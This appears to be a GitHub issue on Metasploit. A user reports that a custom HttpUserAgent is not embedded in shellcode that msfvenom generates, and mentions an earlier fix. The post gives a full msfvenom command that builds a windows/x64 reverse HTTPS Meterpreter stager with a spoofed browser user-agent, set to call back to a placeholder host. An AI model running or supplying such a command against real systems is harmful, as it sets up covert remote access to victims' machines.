No user-agent embedded in the shellcode via msfvenom with payload 'windows/x64/meterpreter/reverse_https'

[sscoconutree]

Summary

How come there are no user-agent strings embedded in the shellcode when using this command:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<IP> LPORT=443 PayloadUUIDTracking=true HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edge/131.0.2903.86" PayloadUUIDName="foobar" -f raw EXITFUNC=thread -o shellcode.bin

I tried to send a request over my web server and this was shown in my apache2 logs.

Checking the plaintext of this shellcode, it seems the IP of my web server and the initial URI is only baked.

Relevant information

I found a similar issue before and I checked the source code again in the latest version of metasploit and it seems the changes by @busterb from the issue below was already applied however I was still having problems on how to embed the initial user-agent in the shellcode.
